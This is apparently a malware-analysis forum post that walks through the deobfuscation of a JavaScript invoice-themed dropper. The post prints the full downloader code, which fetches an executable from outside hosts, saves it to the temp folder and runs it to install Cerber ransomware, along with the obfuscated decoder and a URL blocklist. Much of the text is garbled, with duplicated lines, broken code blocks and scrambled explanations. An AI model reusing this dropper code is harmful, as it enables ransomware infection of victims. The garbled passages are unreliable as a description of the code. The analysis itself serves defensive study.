- May 14, 2016
- 1,597
https://malwaretips.com/threads/02-12-16-8.66112/
Thanks to @silversurfer,
Sample : Invoice_Viewer.js - 8/52
Why this sample ?
Because of the method used for obfuscating the decoder part.
1) What it looks like :
2) Explanations of each part :
abc :
eyc() :
drp() :
yft :
This way to code the decoder part is a fun idea, because even if there is a lot of possibilities to build a none working one, the processes is as fast as one running decoder end to be built.
0 obfuscations :
4) Quick explanation of deobfuscated part :
Some parts have been modified to protect members.
If you have already followed some of my analysis, you can recognize all important parts.
Here is the entry point (where the script begin to "run") :
getData(
);
In their method, they used a mix of named function and anonymous function (=without name)
What are the colors I chose means ?
getData(main_anonymous_function)
=> main_anonymous_function contains a second_main_anonymous_function
To summarize : (not explained in detail because it is not the main goal of this current post)
URLs to blacklist :
Payload :
Example :
C:\Users\DardiM\AppData\Local\Temp\twg9uar9r.exe
Cerber ransomware :
5/55
Antivirus scan for 861c28f90a5a954cecd7e893c489df52b9d4a3c16572a7d563c44eafb89b2283 at 2016-12-02 17:35:10 UTC - VirusTotal
Thanks to @silversurfer,
Sample : Invoice_Viewer.js - 8/52
Why this sample ?
Because of the method used for obfuscating the decoder part.
1) What it looks like :
The entry point (where the script begin its work) :
acb(cef());
Main function loop :
function acb(eyc)
{
Function that build the anonymous function used as decoder (to decode the big string will see later){
var nqn,edw=0;
do{
while(edw<1);return nqn;
}do{
try
{
catch(err)
{
}
}{
nqn=yft(eyc);
edw++;
}edw++;
catch(err)
{
}
while(edw<1);
function yft(hvc)
{
return (new Function("zqp","dwd",drp()+"while(ctg<www.l"+"ength){pec+="+drp()+"arseInt(www[ctg].substr(3,2),"+drp()+");ctg++;}eval"+drp()+";")(hvc,0));
}Function that builds the array use for the random build of anonymous content function above
function drp()
{
{
var jis=new Array("(pec)","v"+"ar www=zqp.m"+"at"+""+"ch("+"/\\S"+" {"+"5}/g),pec=\"\","+"ctg=0;","!","String['fromCharCode']"+"(p","16)^94");
return jis[Math.floor(Math.random()*jis.length)];
}return jis[Math.floor(Math.random()*jis.length)];
Function that build the whole encoded string (I remove some pats, because there were too much lines
function cef()
{
{
var vdj=0;
var xer= "b9c38a732bab330db83dd3c2aa7537a9431f6830b887ebb439bfc3ba142aa2f1abba3ff7c2ad843ff0b18a622cd9931ec433be30ba132cb3532a8176f472bdbf2cf9832c9d72d267ea233dc633fd6332f9632eac3ca8e3fc1b3dcc435e4c77fcd25afe2a"+
"b552cbd027c9325f9d28d953fde52cb617ec4526bf233af132a2516b722aeda2aaa32ee4a7eaba63ce17ec7430fa23bfb129fc37ea201fb183de222aae537f3128c0e3bc2706fc111f0b3ce8934e0a3bdda3dabb2aacb76c8d7ccf813c690dfe606fce13"+
"da712aae6cf4d70c4906a5613ebc12f3b16b010af610aa4c0eec77ccf177c0465b1826f3b33ae832ea016dd32ad992ad0b2ec0970ee731e712eb013bd7330c9276f8c7cc2a19db31ba7c0afd67cbb672fab7efd62bf9c2cef532abb72f3d7ecb938dcf3f"+
...
...
"d0031d032caa077e4d7ed6325a3637c6438b577eef276b0b7fd553bbdf2cce02cadc31f632ce6577cba25dfe2aefd2ca4827fcb25a1928e793fd762cc4b7ec4229f9c2dc2a36c107eb2c63df07ece030eee3bc8729fd07ec5d1fd273db882aed937d1a28"+
"ba93be1906cf811c5f3ce1b34c813bbe23df502aa5776fd87cc3309e230dc913df162cff637c6d2edad2ad6370b980df4536a983bb7032cc232d037ce6177bc765a6129ee72da4f36cf270f100cb512becc30e5776a2b2ea693fd7d2ad5d36e6177fcf65"+
"e0e23df43ddb13fbb52afc73dcfb36e837efe776dfb3bfb92cd032cd3131fac2cfe877aa57ec2425b1a23cda23f8923c2577abf65b5123b1b23eda77cf665";
return xer;
}var xer= "b9c38a732bab330db83dd3c2aa7537a9431f6830b887ebb439bfc3ba142aa2f1abba3ff7c2ad843ff0b18a622cd9931ec433be30ba132cb3532a8176f472bdbf2cf9832c9d72d267ea233dc633fd6332f9632eac3ca8e3fc1b3dcc435e4c77fcd25afe2a"+
"b552cbd027c9325f9d28d953fde52cb617ec4526bf233af132a2516b722aeda2aaa32ee4a7eaba63ce17ec7430fa23bfb129fc37ea201fb183de222aae537f3128c0e3bc2706fc111f0b3ce8934e0a3bdda3dabb2aacb76c8d7ccf813c690dfe606fce13"+
"da712aae6cf4d70c4906a5613ebc12f3b16b010af610aa4c0eec77ccf177c0465b1826f3b33ae832ea016dd32ad992ad0b2ec0970ee731e712eb013bd7330c9276f8c7cc2a19db31ba7c0afd67cbb672fab7efd62bf9c2cef532abb72f3d7ecb938dcf3f"+
...
...
"d0031d032caa077e4d7ed6325a3637c6438b577eef276b0b7fd553bbdf2cce02cadc31f632ce6577cba25dfe2aefd2ca4827fcb25a1928e793fd762cc4b7ec4229f9c2dc2a36c107eb2c63df07ece030eee3bc8729fd07ec5d1fd273db882aed937d1a28"+
"ba93be1906cf811c5f3ce1b34c813bbe23df502aa5776fd87cc3309e230dc913df162cff637c6d2edad2ad6370b980df4536a983bb7032cc232d037ce6177bc765a6129ee72da4f36cf270f100cb512becc30e5776a2b2ea693fd7d2ad5d36e6177fcf65"+
"e0e23df43ddb13fbb52afc73dcfb36e837efe776dfb3bfb92cd032cd3131fac2cfe877aa57ec2425b1a23cda23f8923c2577abf65b5123b1b23eda77cf665";
return xer;
2) Explanations of each part :
See the precedent part to well follow this part
acb(cef());
=> calls the abc function with the parameter cef() :
=> cef() : a function that returned the long encoded string
abc :
function acb(eyc) => here, the string received by cef() call is named : eyc
{
{
var nqn,edw=0;
while(edw<1);
=> the loop While ends if edw >= 1
return nqn;
}=> initializes nqn and edw to 0
do{
try
{
catch(err)
{
}{
nqn=yft(eyc);
=> increments edw => edw = edw + 1
=> allows to quit the script in the while test
}=> yft(eyc) : calls the main function with the encoded string
edw++;
=> increments edw => edw = edw + 1
=> allows to quit the script in the while test
catch(err)
{
=> script get here if some errors occured
=> no operation are done
=> just intercepting any error (that is the case because of the way the decrypter is in real-time and randomly built
}=> no operation are done
=> just intercepting any error (that is the case because of the way the decrypter is in real-time and randomly built
while(edw<1);
=> the loop While ends if edw >= 1
function cef()
{
{
var vdj=0;
"b9c38a732bab330db83dd3c2aa7537a9431f6830b887ebb439bfc3ba142aa2f1abba3ff7c2ad843ff0b18a622cd9931ec433be30ba132cb3532a8176f472bdbf2cf9832c9d72d267ea233dc633fd6332f9632eac3ca8e3fc1b3dcc435e4c77fcd25afe2a"+
...
...
"e0e23df43ddb13fbb52afc73dcfb36e837efe776dfb3bfb92cd032cd3131fac2cfe877aa57ec2425b1a23cda23f8923c2577abf65b5123b1b23eda77cf665"
return xer;
=> xer : is now the whole encoded string, that contains the obfuscated part of the real malware part.
}=> useless
var xer=
"b9c38a732bab330db83dd3c2aa7537a9431f6830b887ebb439bfc3ba142aa2f1abba3ff7c2ad843ff0b18a622cd9931ec433be30ba132cb3532a8176f472bdbf2cf9832c9d72d267ea233dc633fd6332f9632eac3ca8e3fc1b3dcc435e4c77fcd25afe2a"+
...
...
"e0e23df43ddb13fbb52afc73dcfb36e837efe776dfb3bfb92cd032cd3131fac2cfe877aa57ec2425b1a23cda23f8923c2577abf65b5123b1b23eda77cf665"
return xer;
=> xer : is now the whole encoded string, that contains the obfuscated part of the real malware part.
function drp()
{
{
var jis=new Array("(pec)","v"+"ar www=zqp.m"+"at"+""+"ch("+"/\\S"+" {"+"5}/g),pec=\"\","+"ctg=0;","!","String['fromCharCode']"+"(p","16)^94");
return jis[Math.floor(Math.random()*jis.length)];
}return jis[Math.floor(Math.random()*jis.length)];
This function builds an array each time it is called (always the same content), and then returns a string from the random index :
jis[Math.floor(Math.random()*jis.length)]
=> jis[index_from_the _array]
=> jis[index_from_the _array]
This is the array built :
[0] "(pec)"
[1] "var www=zqp.match(/\\S{5}/g),pec=\"\",ctg=0;"
[2] "!"
[3] "String['fromCharCode'](p"
[4] "16)^94"
[1] "var www=zqp.match(/\\S{5}/g),pec=\"\",ctg=0;"
[2] "!"
[3] "String['fromCharCode'](p"
[4] "16)^94"
yft :
This is the main function, called with as parameter : the encoded string.
This function build an anonymous function : new Function(.......)
The "future" content is build by concatenation of precises strains and ins some parts results from calling the drp() random function seen previously
This function build an anonymous function : new Function(.......)
The "future" content is build by concatenation of precises strains and ins some parts results from calling the drp() random function seen previously
function yft(hvc)
{
{
return (new Function("zqp","dwd",drp()+"while(ctg<www.l"+"ength){pec+="+drp()+"arseInt(www[ctg].substr(3,2),"+drp()+");ctg++;}eval"+drp()+";")(hvc,0));
}I have put in bold the parts that are retrieved randomly
This mean that to have a working decoder function, the part returned by drp() call have to be each time the good one that is needed, in the right position
5 possibilities in the array of string, and only 4 positions :
5x5x5x5 = 5^4 possible function built.... and only one that will not generate errors
so : acb(cef());
=> yft(eyc) called and error intercepted, until the right decoder function has been built
What is the right function ?
I need it if I want to decode the encoded string ans see what is the real malware part !
Let's find the good one : like a real puzzle !This mean that to have a working decoder function, the part returned by drp() call have to be each time the good one that is needed, in the right position
5 possibilities in the array of string, and only 4 positions :
5x5x5x5 = 5^4 possible function built.... and only one that will not generate errors
so : acb(cef());
=> yft(eyc) called and error intercepted, until the right decoder function has been built
What is the right function ?
I need it if I want to decode the encoded string ans see what is the real malware part !
drp()+
"while(ctg<www.l"+"ength){pec+="+
drp()+
"arseInt(www[ctg].substr(3,2),"
+drp()+
");ctg++;}eval"
+drp()+";"
Looking at the parts in the array :
- 4 parts are needed so one part is useless => "!" (logical deduction looking at the code)
"var www=zqp.match(/\\S{5}/g),pec=\"\",ctg=0;"
"while(ctg<www.l"+"ength){pec+="+
"String['fromCharCode'](p" +
"arseInt(www[ctg].substr(3,2),"
"16)^94" +
");ctg++;}eval"
"(pec)"
that gives these function :
3) Conclusion :"while(ctg<www.l"+"ength){pec+="+
drp()+
"arseInt(www[ctg].substr(3,2),"
+drp()+
");ctg++;}eval"
+drp()+";"
Looking at the parts in the array :
- 4 parts are needed so one part is useless => "!" (logical deduction looking at the code)
"var www=zqp.match(/\\S{5}/g),pec=\"\",ctg=0;"
"while(ctg<www.l"+"ength){pec+="+
"String['fromCharCode'](p" +
"arseInt(www[ctg].substr(3,2),"
"16)^94" +
");ctg++;}eval"
"(pec)"
that gives these function :
var www=zqp.match(/\\S{5}/g), pec="", ctg=0;
while(ctg<www.length){
eval(pec);
Explanation :
eval"(pec);
=> pec is evaluated : the real malware part is run
while(ctg<www.length){
pec+="String['fromCharCode'](parseInt(www[ctg].substr(3,2),"16)^94);
ctg++;
}ctg++;
eval(pec);
Explanation :
var www=zqp.match(/\\S{5}/g),=> www : array of char using a match : only 5 chars for each part
=> the encoded string is separated in part of 5 chars
Example "b9c38a732bab330db83dd3c2aa7537a9431......
=> "b9c38" , "a732b" , "bab33" , "0db83", etc
pec="",
=> next index
=> pec is progressively build : "function ......"
}=> the encoded string is separated in part of 5 chars
Example "b9c38a732bab330db83dd3c2aa7537a9431......
=> "b9c38" , "a732b" , "bab33" , "0db83", etc
pec="",
=> will be used to add the decoded part and build the string with the real malware part
ctg=0;
=> index that will be used for the loop WHILE
while(ctg < www.length){
=> as long as the index is less that the length of the array with encoded string
pec+=String['fromCharCode'](parseInt(www[ctg].substr(3,2),16)^94);
=> build the decoded string
A big Example to see how each part works, with the first string of the array www :
ctg++;A big Example to see how each part works, with the first string of the array www :
=> index : 0 => ctg = 0
=> "b9c38"
=> "b9c38"
parseInt(www[ctg].substr(3,2),16)^94=> www[ctg].substr(3,2) : get the 2 last char from the current string (current index)
Example : "b9c38" => "38"
Example : "b9c38" => "38"
=> parseInt("38", 16) => get the char code (decimal), considering "38" is a HEX number (0 to 9 and a to z)
=> 56 ^ 64 => 56 XOR 94 = 102
=> String['fromCharCode'](102)
=> "f"
=> "38" => 56 decimal !
(without the , 16 parts, the function parseInt considers by default that "38" is a decimal number represented on a string => 38 decimal, and not 59)
38 in HEX number is 8 + 3 * 16 = 58
a or A => 10
b or B => 11
c or C=> 12
d or D => 13
e or E => 14
f or F => 15
Examples (HEX to DEC) :
a or A => 10
b or B => 11
c or C=> 12
d or D => 13
e or E => 14
f or F => 15
Examples (HEX to DEC) :
2a => 10 + 2 x 16 = 42
4f => 15 + 4 x 16 = 79
4f => 15 + 4 x 16 = 79
=> 56 ^ 64 => 56 XOR 94 = 102
=> String['fromCharCode'](102)
=> "f"
=> next index
=> pec is progressively build : "function ......"
eval"(pec);
=> pec is evaluated : the real malware part is run
This way to code the decoder part is a fun idea, because even if there is a lot of possibilities to build a none working one, the processes is as fast as one running decoder end to be built.
Modifying the anonymous function code, replacing the build part with the real values, (but not with the eval(pec) to avoid the real part be run => replaced by return pec ), I obtained the real code easily.0 obfuscations :
Code:
function getDataFromUrl(url, callback) {
try {
var xmlHttp = new ActiveXObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", url, false);
xmlHttp.send();
if (xmlHttp.status == 200) {
return callback(xmlHttp.ResponseBody, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
function getData(callback) {
try {
getDataFromUrl("hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("hxxp://ggjghhfhfh.com/kqaer2c56ds34caq12/file2.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
getDataFromUrl("hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe", function(result, error) {
if (!error) {
return callback(result, false);
} else {
return callback(null, true);
}
});
}
});
}
});
} catch (error) {
return callback(null, true);
}
}
function getTempFilePath() {
try {
var fs = new ActiveXObject("Scripting.FileSystemObject");
var tmpFileName = "\\\\" + Math.random().toString(36).substr(2, 9) + ".exe";
var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
return tmpFilePath;
} catch (error) {
return false;
}
}
function saveToTemp(data, callback) {
try {
var path = getTempFilePath();
if (path) {
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Open();
objStream.Type = 1;
objStream.Write(data);
objStream.Position = 0;
objStream.SaveToFile(path, 2);
objStream.Close();
return callback(path, false);
} else {
return callback(null, true);
}
} catch (error) {
return callback(null, true);
}
}
getData(function(data, error) {
if (!error) {
saveToTemp(data,
function(path, error) {
if (!error) {
try {
var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}
}
});
}
});
4) Quick explanation of deobfuscated part :
Some parts have been modified to protect members.
If you have already followed some of my analysis, you can recognize all important parts.
Here is the entry point (where the script begin to "run") :
getData(
function(data, error) {
if (!error) {
}saveToTemp(
}data,
function(path, error) {
function(path, error) {
if (!error) {
);try {
}
}var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}wsh.Run(path);
In their method, they used a mix of named function and anonymous function (=without name)
What are the colors I chose means ?
getData(main_anonymous_function)
=> main_anonymous_function contains a second_main_anonymous_function
To summarize : (not explained in detail because it is not the main goal of this current post)
Below I have put in RED the well known objects that make the principal stuff.
=> getData(main_anonymous_function)
=>calls saveToTemp(data_from_http_request, second_main_anonymous_function
=> var path = getTempFilePath()
returns to second_main_anonymous_function
=> create a shell object wsh = ActiveXObject("WScript.Shell");
=> use this shell object to run the payload
=> wsh.Run(path)
5) conclusion :=> getData(main_anonymous_function)
=> calls getDataFromUrl(URL, function_with_next_url_if needed) : is called several time if needed, change the URL tested until the end or if a good working URL is found.
returns to main_anonymous_function :=> http object created using new ActiveXObject("MSXML2.XMLHTTP")
=> used to open and make the http request and received temporary the data
=> used to open and make the http request and received temporary the data
=>calls saveToTemp(data_from_http_request, second_main_anonymous_function
function(path, error) {
if (!error) {
);try {
}
}var wsh = new ActiveXObject("WScript.Shell");
wsh.Run(path);
} catch (error) {}wsh.Run(path);
=> var fs = new ActiveXObject("Scripting.FileSystemObject");
=> object to manipulate files / folder
=> var tmpFilePath = fs.GetSpecialFolder(2) + tmpFileName;
=> stream object created using new ActiveXObject("ADODB.Stream");=> object to manipulate files / folder
=> in red, it is to retrieve the %TEMP% folder
=> %TEMP% + "\' + Math.random().toString(36).substr(2, 9) + ".exe" +
=> %TEMP% + "\' + Math.random().toString(36).substr(2, 9) + ".exe" +
Math.random().toString(36).substr(2, 9)
=> %TEMP%\ + 9 random chars + ".exe"=> random value converted into a string, and then 9 chars are retrieved from index 2 (third char) !
=> toString(radix)
=> toString(radix)
=> radix : must be an integer between 2 and 36 :
then 36 : 16 + 2 + 8 => means : binary, octal, hexadecimal are allowed
- 2 - The number will show as a binary value
- 8 - The number will show as an octal value
- 16 - The number will show as an hexadecimal value
=> why not keep the first chars ? Because the random function return a decimal number that begins by : 0.=> the string also begins with "0."
Example :
=> "0.twg9uar9ndk"
=> don't want this part in the random name
=> .substr(2, 9) (= retrieve from index 2, 9 chars)
Example :
=> "0.twg9uar9ndk"
=> don't want this part in the random name
=> .substr(2, 9) (= retrieve from index 2, 9 chars)
=> "twg9uar9"
=> stream used to save the data received on a file
=> create a shell object wsh = ActiveXObject("WScript.Shell");
=> use this shell object to run the payload
=> wsh.Run(path)
URLs to blacklist :
hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe
hxxp://ggjghhfhfh.com/kqaer2c56ds34caq12/file2.exe
hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe
hxxp://ggjghhfhfh.com/kqaer2c56ds34caq12/file2.exe
hxxp://clickfinder123.com/kqaer2c56ds34caq12/file2.exe
Payload :
Example :
C:\Users\DardiM\AppData\Local\Temp\twg9uar9r.exe
Cerber ransomware :
5/55
Antivirus scan for 861c28f90a5a954cecd7e893c489df52b9d4a3c16572a7d563c44eafb89b2283 at 2016-12-02 17:35:10 UTC - VirusTotal
Last edited: